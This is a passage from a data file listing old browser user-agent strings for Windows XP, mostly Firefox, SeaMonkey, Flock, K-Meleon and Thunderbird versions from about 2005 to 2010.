NT 5.1; en-US; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Firefox/1.5 Mnenhy/0.7.3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051112 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051114 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051119 Flock/0.4.11 Firefox/1.0+\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051130 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060102 SeaMonkey/1.0b\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060107 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060125 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060319 Firefox/2.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060114 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070228 Firefox/1.5.0.10 Flock/0.7.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070306 SeaMonkey/1.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10pre) Gecko/20070211 Firefox/1.5.0.10pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.11) Gecko/20070502 Firefox/1.5.0.11 Flock/0.7.13.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/2.0 MEGAUPLOAD 2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060309 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060404 SeaMonkey/1.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060406 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060419 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060612 Firefox/1.5.0.4 Flock/0.7.0.17.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060620 Firefox/1.5.0.4 Flock/0.7.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060706 K-Ninja/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060719 KHTML/3.5.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060731 Firefox/1.5.0.5 Flock/0.7.4.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060730 K-Meleon/1.01\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060731 K-Ninja/2.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060803 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060910 MultiZilla/1.7.9.0a SeaMonkey/1.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060915 Firefox/1.5.0.7 Flock/0.7.5.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060917 K-Meleon/1.02\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060917 K-Ninja/2.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060929 Firefox/1.5.0.7 Flock/0.7.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20061001 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20061025 Firefox/1.5.0.8 Flock/0.7.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Flock/0.7.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.8) Gecko/20061030 MultiZilla/1.8.3.0a SeaMonkey/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.8) Gecko/20061030 SeaMonkey/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.9) Gecko/20061206\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.9) Gecko/20061211 SeaMonkey/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.9) Gecko/20061219 Flock/0.7.9.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.9pre) Gecko/20061219 Firefox/1.5.0.9 Flock/0.7.9.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20060918 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20060930 BonEcho/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox(1.5.0.6)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061025 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061112 BonEcho/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061113 BonEcho/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061121 BonEcho/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061209 BonEcho/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061210 BonEcho/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061217 Thunderbird/2.0b1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061222 BonEcho/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061222 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.10) Gecko/20071116 K-Meleon/1.1.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.4/Megaupload x.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071128 SeaMonkey/1.1.7 Mnenhy/0.7.5.666\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071213\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071213 Firefox/2.0.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071231 Firefox/2.0.0.11 Flock/1.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20080126 Firefox/2.0.0.11 Flock/1.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11pre) Gecko/20071206 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11pre) Gecko/20071206 Firefox/2.0.0.11 Navigator/9.0.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11pre) Gecko/20071206 Firefox/2.0.0.11 Navigator/9.0.0.5 GTB5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.4 MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080201 MultiZilla/1.8.3.4e SeaMonkey/1.1.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080201 SeaMonkey/1.1.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080201 SeaMonkey/1.1.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080203 K-Meleon/1.1.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080211 Firefox/2.0.0.12 Flock/1.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080213 Thunderbird/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080219 Firefox/2.0.0.12 Navigator/9.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080304 Firefox/2.0.0.12 Flock/1.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/2009040821  Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0 MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080326 Firefox/2.0.0.13 Flock/1.1.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080414 Firefox/2.0.0.13 Pogo/2.0.0.13.6866\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.5.0b2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080421 Thunderbird/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080424 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080514 Firefox/2.0.0.14 Flock/1.1.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080530 Firefox/2.0.0.14 Flock/1.2.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080608 Firefox/2.0.0.14 Flock/1.2.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080621 SeaMonkey/1.1.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080621 SeaMonkey/1.1.10 Mnenhy/0.7.5.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080702\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.9.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080702 MultiZilla/1.8.3.4e SeaMonkey/1.1.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080702 SeaMonkey/1.1.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080708 Thunderbird/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080714 Firefox/2.0.0.16 Flock/1.2.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.14;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17) Gecko/20080829 SeaMonkey/1.1.12 Mnenhy/0.7.5.666\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17) Gecko/20080910 Firefox/2.0.0.17 Flock/1.2.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17) Gecko/20080914 Thunderbird/2.0.0.17\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17) Gecko/20080915 Firefox/2.0.0.17 Flock/1.2.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17) Gecko/20080919 K-Meleon/1.5.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17) Gecko/20090224 SeaMonkey/1.1.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17pre) Gecko/20080715 Firefox/2.0.0.8pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.1.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.5.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081029\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081031 SeaMonkey/1.1.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081105 Thunderbird/2.0.0.18\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081107 Firefox/2.0.0.18 Flock/1.2.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.19) Gecko/20081204 MultiZilla/1.8.3.5c SeaMonkey/1.1.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14 Mnenhy/0.7.5.666\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14 Mnenhy/0.7.6.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.19) Gecko/20081209 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.19) Gecko/20081209 Thunderbird/2.0.0.19\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.19) Gecko/20081217 KMLite/1.1.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1pre) Gecko/20061122 BonEcho/2.0.0.1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1pre) Gecko/20061202 BonEcho/2.0.0.1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1pre) Gecko/20061203 BonEcho/2.0.0.1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0 (Windows NT 5.1; U; pl-PL)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070224 lolifox/0.3.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070224 lolifox/0.3.2 MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070225 lolifox/0.32\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070227 BonEcho/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070227 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070314 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/3.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090302 Thunderbird/2.0.0.21\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15 Mnenhy/0.7.5.666\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15 Mnenhy/0.7.6.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090403 Firefox/1.1.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090403 K-Meleon/1.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090403 MultiZilla/1.8.3.4e SeaMonkey/1.1.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090403 SeaMonkey/1.1.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090403 SeaMonkey/1.1.16 Mnenhy/0.7.5.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090403 SeaMonkey/1.1.16 Mnenhy/0.7.5.666\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20100312 Firefox/3.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.22) Gecko/20090605 SeaMonkey/1.1.17 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.22) Gecko/20090605 SeaMonkey/1.1.17 Mnenhy/0.7.6.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.22) Gecko/20090623 K-Meleon/1.5.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.22pre) Gecko/20090502 K-Meleon/1.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.23) Gecko/20090825 SeaMonkey/1.1.18\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.24) Gecko/20100228 K-Meleon/1.5.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.24) Gecko/20100228 Sylera/3.0.20 SeaMonkey/1.1.19\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070111 SeaMonkey/1.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070111 SeaMonkey/1.1 Mnenhy/0.7.4.10005\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070118 Firefox/2.0.0.2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070213 BonEcho/2.0.0.2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Mozilla/4.8 [en] (Windows NT 5.1; U)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070321\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070326 Thunderbird/2.0.0.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3; MEGAUPLOAD 1.0) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3pre) Gecko/20070302 BonEcho/2.0.0.3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3pre) Gecko/20070302 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070416 BonEcho/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070501 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070509 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070509 SeaMonkey/1.1.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070511 K-Meleon/1.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mnenhy/0.7.4.666\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070604 Thunderbird/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070707 Firefox/2.0.0.4 Flock/0.9.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4pre) Gecko/20070404 K-Ninja/2.1.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4pre) Gecko/20070410 BonEcho/2.0.0.4pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4pre) Gecko/20070416 BonEcho/2.0.0.4pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070716 SeaMonkey/1.1.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070914 Firefox/2.0.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5pre) Gecko/20070622 BonEcho/2.0.0.5pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 